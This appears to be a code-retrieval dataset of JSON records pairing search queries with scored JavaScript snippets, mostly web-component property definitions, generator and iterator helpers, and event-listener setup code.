help text.`);\n this.variable_name = this.custom_variable_instance.getPrefixedName();\n this.help_text = this.custom_variable_instance.configuration.description;\n resetVariableAutocompleteItems(); // Make autocomplete lists reload their content in order to get the new variable name/help text.\n }", "title": "" }, { "docid": "3f43c37bf5367c7cb600889b703c32c4", "score": "0.5772902", "text": "static get properties() {\n return { ...super.properties,\n\n /**\n * fields for the prompt popover.\n */\n fields: {\n type: Array\n },\n\n /**\n * is the element a custom inline widget element?\n */\n inlineWidget: {\n name: \"inlineWidget\",\n type: Boolean\n },\n\n /**\n * the tag that will wrap the selected range\n */\n tag: {\n name: \"tag\",\n type: String\n },\n\n /**\n * The prefilled value of the prompt\n */\n value: {\n type: Object\n },\n\n /**\n * fields for the prompt popover.\n */\n __promptFields: {\n type: Array\n },\n\n /**\n * the contents node inside the selected range\n */\n __oldValue: {\n name: \"__oldValue\",\n type: Object\n },\n\n /**\n * the prompt that pops up when button is pressed\n */\n __prompt: {\n name: \"__prompt\",\n type: Object\n },\n\n /**\n * the contents node inside the selected range\n */\n __selectionContents: {\n name: \"__selectionContents\",\n type: Object\n }\n };\n }", "title": "" }, { "docid": "5f7127e87d4d98fb3856ad65165d2677", "score": "0.5761279", "text": "static get properties(){\n return {\n count: { type: Number },\n };\n }", "title": "" }, { "docid": "39021f02f3eb9bd4df797750eaaa1d9d", "score": "0.5758807", "text": "static get properties(){return{/**\n * object in question to clone and turn into a custom element\n */element:{name:\"element\",type:\"Object\",value:{}},/**\n * valid custom element name of the new element to create\n */name:{name:\"name\",type:\"String\",value:\"new-element\"},/**\n * optional original location that this came from\n */sourceUrl:{name:\"sourceUrl\",type:\"String\",value:\"\"},/**\n * MIME type lookup for file extensions\n */fileTypes:{type:\"Object\",\"value\"(){return{CSV:\"text/csv\",JSON:\"text/json\",PDF:\"application/pdf\",TXT:\"text/plain\"}}}}}", "title": "" }, { "docid": "126838e11781db837809d7a08cdceac5", "score": "0.5751768", "text": "static get properties() {\n return {\n /**\n * The title of the button.\n */\n title: {\n type: String,\n },\n /**\n * The button icon.\n */\n icon: {\n type: String,\n },\n /**\n * The button ID.\n */\n id: {\n type: String,\n },\n };\n }", "title": "" }, { "docid": "e19fb003e67ee9baf0c875c010af5549", "score": "0.5747705", "text": "static get properties() {\n return {\n /**\n * image's details in as a string of HTML\n */\n details: {\n type: String\n }\n };\n }", "title": "" }, { "docid": "83cb45da4969cd5657428b41a6965ab3", "score": "0.57393116", "text": "static get props() {\n return {};\n }", "title": "" }, { "docid": "89443f0fe6fde4c54d524c086d9b9850", "score": "0.57243145", "text": "setProperties(properties, options) {\n this.properties = properties;\n this.options = options;\n this.updateProperties();\n this.updateTitle();\n }", "title": "" }, { "docid": "52f9395cb7330f328bed7ac7b3cf0c2f", "score": "0.5723605", "text": "static get properties() {\n return {\n eventMap: {},\n resourceMap: {},\n releasedElements: {}\n };\n }", "title": "" }, { "docid": "62d1784c71ce763894ab855cce118997", "score": "0.5696573", "text": "static get properties() {\n\t\treturn {\n\t\t\tlabel: {\n\t\t\t\ttype: String,\n\t\t\t\tvalue: \"in\",\n\t\t\t\treflectToAttribute: true\n\t\t\t},\n\t\t\tconnected: {\n\t\t\t\ttype: Boolean,\n\t\t\t\tvalue: false,\n\t\t\t\tnotify: true,\n\t\t\t\treadOnly: true,\n\t\t\t\treflectToAttribute: true\n\t\t\t},\n\n\t\t\t/*\n\t\t\t\t'' Only One\n\t\t\t\t'+' Minimum One\n\t\t\t\t'*' Zero or More\n\t\t\t\t'?' Zero or One\n\t\t\t*/\n\t\t\trule: {\n\t\t\t\ttype: String,\n\t\t\t\tvalue: '?',\n\t\t\t\treflectToAttribute: true\n\t\t\t},\n\t\t\tvalid: {\n\t\t\t\ttype: Boolean,\n\t\t\t\tvalue: false,\n\t\t\t\tcomputed: '_computeValid(connected, rule)'\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "ed5535764d65587e6bd567d720cc61d3", "score": "0.56914407", "text": "connectedCallback() {\n this._scheduleRender();\n Object.keys(this.constructor.properties).forEach((key) => {\n // Set default property values (if defined)\n if('value' in this.constructor.properties[key]) {\n this[key] = this.constructor.properties[key].value;\n }\n });\n }", "title": "" }, { "docid": "1b8225792294985771928393d19ec69f", "score": "0.5687293", "text": "get properties() {\n return this._properties;\n }", "title": "" }, { "docid": "1b8225792294985771928393d19ec69f", "score": "0.5687293", "text": "get properties() {\n return this._properties;\n }", "title": "" }, { "docid": "880d4035a667ea7c56e2a23e6e50c918", "score": "0.5686629", "text": "static get properties() {\n return {\n _currTime: String,\n _videoLength: Number,\n _isPlaying: Boolean,\n _volume: Number,\n _speedSelectorOpen: Boolean,\n _currentSpeed: Number,\n speedOptions: Array,\n };\n }", "title": "" }, { "docid": "3d292f649ffd2e94b4ec71af0566d595", "score": "0.5686561", "text": "static get properties() {\n return {\n \"active\": {\n \"name\": \"active\",\n \"type\": \"Boolean\",\n \"value\": false,\n \"reflectToAttribute\": true,\n \"observer\": \"_activeChanged\"\n }\n}\n;\n }", "title": "" }, { "docid": "c649e417c14bbbec71ff672e590d0c0c", "score": "0.56627274", "text": "static get properties() {\r\n return {\r\n loggedInUser: {\r\n type: Array,\r\n value: []\r\n },\r\n action: {\r\n type: String,\r\n value: 'list'\r\n }\r\n };\r\n }", "title": "" }, { "docid": "c722a0c6ee1b09b1929911660c05cf5c", "score": "0.5658484", "text": "static get properties() {\n let props = {\n /**\n * Title of the loginscreen\n */\n \"title\": String,\n /**\n * Subtitle of the loginscreen\n */\n \"subtitle\": String,\n /**\n * Error message to show (example : \"Invalid username\")\n */\n \"errorMsg\": String,\n /**\n * Content of the username field\n */\n \"username\": {\n \"type\": String,\n \"notify\": true\n },\n /**\n * Content of the password field\n */\n \"password\": {\n \"type\": String,\n \"notify\": true\n },\n /**\n * When true, all fields are disabled and the progress bar is visible\n */\n \"loading\": {\n \"type\": Boolean,\n \"value\": false\n },\n /**\n * Placeholder of the username field\n */\n \"userInputLabel\": {\n \"type\": String,\n \"value\": \"Username\"\n },\n /**\n * Error message of the username field\n */\n \"userInputErrMsg\": {\n \"type\": String,\n \"value\": \"Username required\"\n },\n /**\n * Placeholder of the password field\n */\n \"passwordInputLabel\": {\n \"type\": String,\n \"value\": \"Password\"\n },\n /**\n * Error message of the password field\n */\n \"passwordInputErrMsg\": {\n \"type\": String,\n \"value\": \"Password required\"\n },\n /**\n * Login button label\n */\n \"loginBtnText\": {\n \"type\": String,\n \"value\": \"Login\"\n }\n}\n;\n if (super.properties) {\n props = Object.assign(props, super.properties);\n }\n return props;\n }", "title": "" }, { "docid": "3f94beed606ea463a25ae4f2388b38da", "score": "0.5658309", "text": "static get properties() {\n\t\treturn {\n\t\t\tminLength: {\n\t\t\t\ttype: Number\n\t\t\t}\n\t\t};\n\t}", "title": "" }, { "docid": "41662c6a560e9fb1c4832ebc390f1642", "score": "0.5657578", "text": "static get properties() {\n return {\n /** The model for the company. */\n model: {\n type: Object,\n value: null\n },\n\n canShare: {\n type: Boolean,\n value: false\n }\n };\n }", "title": "" }, { "docid": "9880c4fd0ffde62ea6aac0416d7a4818", "score": "0.5656691", "text": "static get properties() {\n return {\n scrollX: {\n type: Boolean,\n value: false,\n computed: '_getBoolPropFromAttr(\"scroll-x\", scrollX)',\n observer: '_observeScrollX',\n },\n scrollY: {\n type: Boolean,\n value: false,\n computed: '_getBoolPropFromAttr(\"scroll-y\", scrollY)',\n observer: '_observeScrollY',\n },\n 'scroll-left': Number,\n 'scroll-top': Number,\n scrollIntoView: {\n type: String,\n observer: '_observeScrollIntoView',\n },\n scrollWithAnimation: {\n type: Boolean,\n value: false,\n },\n hideScrollBar: {\n type: Boolean,\n value: false,\n observer: '_observeHideScrollBar',\n },\n upperThreshold: {\n type: Number,\n value: 50,\n },\n lowerThreshold: {\n type: Number,\n value: 50,\n },\n };\n }", "title": "" }, { "docid": "5a29cc17f68fc898aa036b763d158077", "score": "0.56519", "text": "static get properties() {\n\t\treturn {\n\t\t\tindex: { type: Number, reflect: true },\n\t\t\t__animating: { type: Boolean, defaultValue: true, reflect: false }\n\t\t};\n\t}", "title": "" }, { "docid": "ecf4c6b6fec543e4e6fdfec93fc2e7be", "score": "0.5650969", "text": "static get properties() {\n return {\n /**\n * Source of the TEI file\n */\n src: {\n type: String\n },\n /**\n * presentation mode / topic matter\n */\n mode: {\n type: String,\n },\n /**\n * presentation basePath extension\n */\n pathAssetCss: {\n type: String,\n },\n /**\n * how frequently to show line numbers\n */\n lineDisplay: {\n type: String,\n },\n /**\n * what prefix to use for ids for line numbers\n */\n linePrefix: {\n type: String,\n },\n /**\n * what number to start line numbers\n */\n lineStart: {\n type: String,\n },\n /**\n * overrides state manager's default icon for copy link's toast's close button\n */\n \"closeIcon\": {\n \"type\": String\n },\n /**\n * overrides state manager's default label for copy link's toast's close button\n */\n \"closeLabel\": {\n \"type\": String\n },\n /**\n * overrides state manager's default message for copy link's toast\n */\n \"copyMessage\": {\n \"type\": String\n },\n /**\n * current line being copied\n */\n \"currentLineId\": {\n \"type\": String\n },\n /**\n * icon for copy link's button\n */\n \"linkIcon\": {\n \"type\": String\n },\n /**\n * label for copy link's button\n */\n \"linkLabel\": {\n \"type\": String\n },\n /**\n * icon for page link's button\n */\n pageIcon: {\n type: String\n },\n /**\n * label for page link's button\n */\n pageLabel: {\n type: String\n },\n \"toast\": {\n type: Object\n }\n };\n }", "title": "" }, { "docid": "cddcc6fbb7f3367bfc5baaa02633bc9f", "score": "0.5643726", "text": "static get properties() {\n return {song: {type: Song}};\n }", "title": "" }, { "docid": "eac07dd53c3891d8875f8f0894fe2b9c", "score": "0.5634897", "text": "get myProperties() {\n return new _Profiles(this, \"getmyproperties\");\n }", "title": "" }, { "docid": "102da9530a1c9cbf47c33b39387eeb00", "score": "0.563131", "text": "static get properties() {\n return {\n ...super.properties,\n /**\n * Icon to present for clicking.\n */\n icon: {\n type: String,\n },\n /**\n * If the button should be visually lifted off the UI.\n */\n raised: {\n type: Boolean,\n },\n /**\n * Icon to present for clicking.\n */\n avatar: {\n type: String,\n },\n /**\n * Text to present for clicking.\n */\n text: {\n type: String,\n },\n /**\n * Alt / hover text for this link\n */\n alt: {\n type: String,\n reflect: true,\n },\n /**\n * Header for the dialog\n */\n header: {\n type: String,\n },\n /**\n * Disabled state.\n */\n disabled: {\n type: Boolean,\n },\n /**\n * Classes to add / subtract based on the item being hovered\n */\n hoverClass: {\n type: String,\n attribute: \"hover-class\",\n },\n /**\n * Default heading classes.\n */\n headingClass: {\n type: String,\n attribute: \"heading-class\",\n },\n /**\n * Tracks if focus state is applied\n */\n focusState: {\n type: Boolean,\n attribute: \"focus-state\",\n },\n };\n }", "title": "" }, { "docid": "9abcd140ec9d9d4f0d9134e0fe9cc7c9", "score": "0.5631231", "text": "static get properties() {\n return {\n ...super.properties,\n opened: {\n type: Boolean,\n reflect: true,\n },\n };\n }", "title": "" }, { "docid": "1039b15c96f8502f615944aa1dad17bb", "score": "0.56196123", "text": "static get properties() {\n return {\n target: {type: String, reflect: true}\n };\n }", "title": "" }, { "docid": "5c502f90951de31af68ca6a943b99ced", "score": "0.5618434", "text": "function PropertyPaneCustomField(targetProperty, properties) {\n\t return {\n\t type: IPropertyPaneField_1.IPropertyPaneFieldType.Custom,\n\t targetProperty: undefined,\n\t properties: properties\n\t };\n\t}", "title": "" }, { "docid": "e9749ea35a3e3c3955bedfa6677931d4", "score": "0.5617262", "text": "static createPropertiesForAttributes() {\n let a$ = this.observedAttributes;\n for (let i=0; i < a$.length; i++) {\n this.prototype._createPropertyAccessor(caseMap.dashToCamelCase(a$[i]));\n }\n }", "title": "" }, { "docid": "ae0713c02ec669ef692e1aec850cd9bc", "score": "0.56141824", "text": "static get properties() {\n return {\n __fullscreen: { type: Boolean, attribute: \"fullscreen\" },\n __fullscreenEnabled: { type: Boolean, attribute: \"fullscreen-enabled\" },\n };\n }", "title": "" }, { "docid": "dfa581615daa36f38d9c781df695af61", "score": "0.5606805", "text": "function setupCustomFileProperties(files, groupID) {\n for (var i = 0; i < files.length; i++) {\n var file = files[i];\n file.extra = {\n nameNoExtension: file.name.substring(0, file.name.lastIndexOf('.')),\n extension: file.name.substring(file.name.lastIndexOf('.') + 1),\n fileID: i,\n uniqueID: getUniqueID(),\n groupID: groupID,\n prettySize: prettySize(file.size)\n };\n }\n }", "title": "" }, { "docid": "dfa581615daa36f38d9c781df695af61", "score": "0.5606805", "text": "function setupCustomFileProperties(files, groupID) {\n for (var i = 0; i < files.length; i++) {\n var file = files[i];\n file.extra = {\n nameNoExtension: file.name.substring(0, file.name.lastIndexOf('.')),\n extension: file.name.substring(file.name.lastIndexOf('.') + 1),\n fileID: i,\n uniqueID: getUniqueID(),\n groupID: groupID,\n prettySize: prettySize(file.size)\n };\n }\n }", "title": "" }, { "docid": "6a227192c0245e9248ba5bc9fb1ac7b9", "score": "0.5606501", "text": "static get properties() {\n return {\n /**\n * Stores an array of all the players on the page.\n */\n els: {\n type: Array,\n value: []\n }\n };\n }", "title": "" }, { "docid": "08cd4e574c150f939e2e878e830f0311", "score": "0.5601366", "text": "static get properties() {\n return {\n ...super.properties,\n /**\n * Alt text of gif\n */\n alt: {\n type: String,\n },\n /**\n * Whether button is disabled\n */\n disabled: {\n type: Boolean,\n },\n /*\n * other id's to add to aria-describedby\n */\n describedBy: {\n attribute: \"described-by\",\n type: String,\n },\n /**\n * longer image description for accesibility\n */\n longdesc: {\n type: String,\n attribute: \"longdesc\",\n },\n /**\n * Source of animated gif\n */\n src: {\n type: String,\n },\n /**\n * Source of static version of image\n */\n srcWithoutAnimation: {\n type: String,\n attribute: \"src-without-animation\",\n },\n /**\n * whether GIF is playing\n */\n __playing: {\n type: Boolean,\n },\n /**\n * if the gif source is loaded to avoid jarring on load\n */\n __gifLoaded: {\n type: Boolean,\n },\n };\n }", "title": "" } ]
0965bc3b9a13204685dd051288e741b9
note: `fooFn(..)` here is NOT a generator!!
[ { "docid": "8940ca637be4822bcf010fd4ca79edbc", "score": "0.0", "text": "function fooFn(x) {\n console.log(\"x: \" + x);\n}", "title": "" } ]
[ { "docid": "983cbc1b0baa8c638122a69f769d2792", "score": "0.64409626", "text": "function GeneratorFunction() {}", "title": "" }, { "docid": "983cbc1b0baa8c638122a69f769d2792", "score": "0.64409626", "text": "function GeneratorFunction() {}", "title": "" }, { "docid": "983cbc1b0baa8c638122a69f769d2792", "score": "0.64409626", "text": "function GeneratorFunction() {}", "title": "" }, { "docid": "983cbc1b0baa8c638122a69f769d2792", "score": "0.64409626", "text": "function GeneratorFunction() {}", "title": "" }, { "docid": "09b68d573d8db55cdaba94efeae42ae0", "score": "0.64023846", "text": "function next() {}", "title": "" }, { "docid": "7072a6d67e714871acd62477d0c91c09", "score": "0.6281789", "text": "function foo(a) {\r\n if (a === void 0) { a = yield; }\r\n }", "title": "" }, { "docid": "7daa9ea554c7ce7cc462259b2308bee6", "score": "0.6192214", "text": "function runByOne(generatorFunction) {\n var generatorItr = generatorFunction(resume);\n function resume( err , value ) {\n generatorItr.next( err || value );\n }\n generatorItr.next()\n}", "title": "" }, { "docid": "66a035fb2844e487fb20726d70a06db9", "score": "0.6123453", "text": "*[Symbol.iterator](){\n //wrapping generator and invoking it\n for(let item of this[_generator]()){\n yield item;\n }\n }", "title": "" }, { "docid": "c6ac653880b911172c08cfa655fa9770", "score": "0.6055306", "text": "function extractNext(fn) {\n const o = fn();\n return o.next.bind(o);\n}", "title": "" }, { "docid": "b739a8c881e54eddccb6404db274e5ba", "score": "0.60153997", "text": "static onceWith(func /* o:-> */) {\n /* o:async */ function* ret() {\n yield /* o:await */ func();\n }\n return new /* o:Async- */ IterPlus(ret());\n }", "title": "" }, { "docid": "e0b35f903fcabebb70f7461226d13645", "score": "0.59727865", "text": "function foo(..) { .. }", "title": "" }, { "docid": "e0b35f903fcabebb70f7461226d13645", "score": "0.59727865", "text": "function foo(..) { .. }", "title": "" }, { "docid": "ad1bb744aa40e802b866018a41e68a8b", "score": "0.5950159", "text": "filterMap(func /* o:-> */) {\n const that = this;\n /* o:async */ function* ret() {\n /* r:for await */ for (const elem of that) {\n const val = /* o:await */ func(elem);\n if (val !== exports.nullVal) {\n yield val;\n }\n }\n }\n return new /* o:Async- */ IterPlus(ret());\n }", "title": "" }, { "docid": "f99d07a53da221d94fcc4047528d4b4d", "score": "0.5949091", "text": "function foo() {\n foo()\n}", "title": "" }, { "docid": "da333a20596226922af97cdf990f81e7", "score": "0.5936422", "text": "static fromFunction(func /* o:-> */) {\n /* o:async */ function* ret() {\n while (true) {\n const val = /* o:await */ func();\n if (val === exports.nullVal) {\n break;\n }\n yield val;\n }\n }\n return new /* o:Async- */ IterPlus(ret());\n }", "title": "" }, { "docid": "8f3f042232c9ffefad8014d896c6e014", "score": "0.5926046", "text": "static successors(first /* o:-> */, func /* o:-> */) {\n /* o:async */ function* ret() {\n let val = /* o:await */ first;\n while (true) {\n if (val === exports.nullVal) {\n break;\n }\n yield val;\n val = /* o:await */ func(val);\n }\n }\n return new /* o:Async- */ IterPlus(ret());\n }", "title": "" }, { "docid": "e8af31485c430dc1f9fdc5a7c6c3cdcc", "score": "0.5877407", "text": "function runner2(generatorFunction) {\n const iterator = generatorFunction()\n\n function run(value) {\n const result = iterator.next(value)\n if (result.done) {\n return result.value\n } else {\n return Promise.resolve(result.value).then(run, (err) =>\n Promise.resolve(iterator.throw(err)).then(run)\n )\n }\n }\n\n return run()\n }", "title": "" }, { "docid": "8711b2e587e708721e52197feda7dc32", "score": "0.5819907", "text": "*[Symbol.iterator]() {\n yield 1\n yield 2\n yield 3\n }", "title": "" }, { "docid": "06be64132b274753210f1d8641feab43", "score": "0.58189946", "text": "starmap(func /* o:-> */) {\n const that = this;\n /* o:async */ function* ret() {\n /* r:for await */ for (const elem of that) {\n yield /* o:await */ func(...elem);\n }\n }\n return new /* o:Async- */ IterPlus(ret());\n }", "title": "" }, { "docid": "11f53325d3240fbbe496b3784cad52b1", "score": "0.58184373", "text": "function foo() {\n foo();\n}", "title": "" }, { "docid": "47216a2a76e5896cc33a39d98bb842cc", "score": "0.5797511", "text": "static repeatWith(func /* o:-> */) {\n /* o:async */ function* ret() {\n while (true) {\n yield /* o:await */ func();\n }\n }\n return new /* o:Async- */ IterPlus(ret());\n }", "title": "" }, { "docid": "5a053cd4c862378be440f230779c2d08", "score": "0.57799685", "text": "match() { return (f_next) => f_next(this.maybe_a, this.next); }", "title": "" }, { "docid": "c4600b32965eeb825837e2109f54812b", "score": "0.5707164", "text": "function foo() {\n\t\t++IDX;\n\t\tif ( FLG ) {\n\t\t\tsetImmediate( foo );\n\t\t}\n\t}", "title": "" }, { "docid": "3bad67757b748d4cd8975cc02e1bf64e", "score": "0.56996244", "text": "function foobar() { foobar(); }", "title": "" }, { "docid": "82fe98154fe29c1c293061854436e921", "score": "0.5670293", "text": "*[Symbol.iterator]() {\n yield* this.items();\n }", "title": "" }, { "docid": "2726ab0e9e9e0e5b11fdf8c59737b04a", "score": "0.56488776", "text": "function isGeneratorFunction(f) {\n return typeof f === 'function' && /^function\\s*\\*\\s*/.test(f.toString());\n}", "title": "" }, { "docid": "9882b396c0cbccd958d153b5d56d8482", "score": "0.5627942", "text": "function next(){\n\tnext();\n}", "title": "" }, { "docid": "8bf9187596a93a6be28b1817e3b0aba6", "score": "0.56240004", "text": "function Generator() {} // 84", "title": "" }, { "docid": "f67478dd71c97c80b95ff665729a23ce", "score": "0.5623684", "text": "function foobar () { foobar(); }", "title": "" }, { "docid": "fd97c14b11aca0bafe7323252f941e19", "score": "0.56102", "text": "function Generator() {} // 81", "title": "" }, { "docid": "5b7bc68b98d3dcc644c831c76dc02766", "score": "0.55907583", "text": "function next() {\n\t\n}", "title": "" }, { "docid": "64875a0136f912ff2cd7a805890132ea", "score": "0.5575329", "text": "function aa(){return function(a){return a}}", "title": "" }, { "docid": "1445eb86a3a724a42c97106ea8b77712", "score": "0.55708534", "text": "function foo(..) {\n\t// ..\n}", "title": "" }, { "docid": "55ecbd0a2b52fa4cc43aa70ed64cdd3d", "score": "0.5569313", "text": "_makeIterator() {\n return this.fn.apply(this.context, this.args);\n }", "title": "" }, { "docid": "721a6951d451e44c7324c376e86f38cd", "score": "0.55594844", "text": "function foo() { .. }", "title": "" }, { "docid": "721a6951d451e44c7324c376e86f38cd", "score": "0.55594844", "text": "function foo() { .. }", "title": "" }, { "docid": "721a6951d451e44c7324c376e86f38cd", "score": "0.55594844", "text": "function foo() { .. }", "title": "" }, { "docid": "18d7e1c42b45cd2030374563bc794605", "score": "0.55573386", "text": "function foo() {\n let [result] = arguments;\n return function f() {\n if (arguments.length === 0) {\n return result;\n } else {\n result += arguments[0];\n return f;\n }\n }\n }", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.5553257", "text": "function Generator() {}", "title": "" } ]
6fd2bfc8901eab9c358b345d473ec41a
Add listeners on 2. button in the app 1. get location button 2. go button
[ { "docid": "914eb51297b01b08a33ebe37c09d40c9", "score": "0.0", "text": "function addListeners() {\n addRadioButtonListener();\n addListnerOnAutoFill();\n addListenerOnGo();\n }", "title": "" } ]
[ { "docid": "eaf91370a5727916855cbc1e4b910d9b", "score": "0.6956982", "text": "function goToLocation() {\n const coords = [\n [35.9613161, -84.0230739],\n [32.0756302, -96.5312545],\n ];\n const labels = ['Main Office', 'Office II'];\n const btns = [btnView1, btnView2];\n\n // Adds marker and label for each location\n for (let i = 0; i < coords.length; i++) {\n const marker = L.marker(coords[i], { icon: myIcon }).addTo(myMap);\n const tooltip = L.tooltip({ permanent: true }).setContent(labels[i]);\n marker.bindTooltip(tooltip);\n\n btns[i].addEventListener('click', (e) => {\n myMap.flyTo(coords[i], 12);\n\n map.scrollIntoView({\n behavior: 'smooth',\n block: 'center',\n inline: 'nearest',\n });\n });\n }\n }", "title": "" }, { "docid": "fb950da6a0fbcfa87ce1e20944b525f9", "score": "0.6700601", "text": "function clickButton() {\n navigator.geolocation.getCurrentPosition(getPosition);\n}", "title": "" }, { "docid": "1a02da2f142be02cbc7c9b4b539de1fe", "score": "0.65399665", "text": "function register_event_handlers()\n {\n \n \n /* button #verificar */\n $(document).on(\"click\", \"#verificar\", function(evt)\n {\n launchnavigator.navigate (\n \"London, UK\",\n \"Manchester, Reino Unido\",\n function () {\n alert (\"sucesso Plugin\");\n },\n function (erro) {\n alert (\"erro Plugin:\" + erro);\n });\n });\n \n }", "title": "" }, { "docid": "d8cdc2c7010218c30ca45b32a7141b80", "score": "0.6342531", "text": "addButtonHandlers() {\n let dir_but = document.getElementsByClassName(\"directions-button\")[0];\n dir_but.addEventListener(\"click\", this.toggleDirections);\n }", "title": "" }, { "docid": 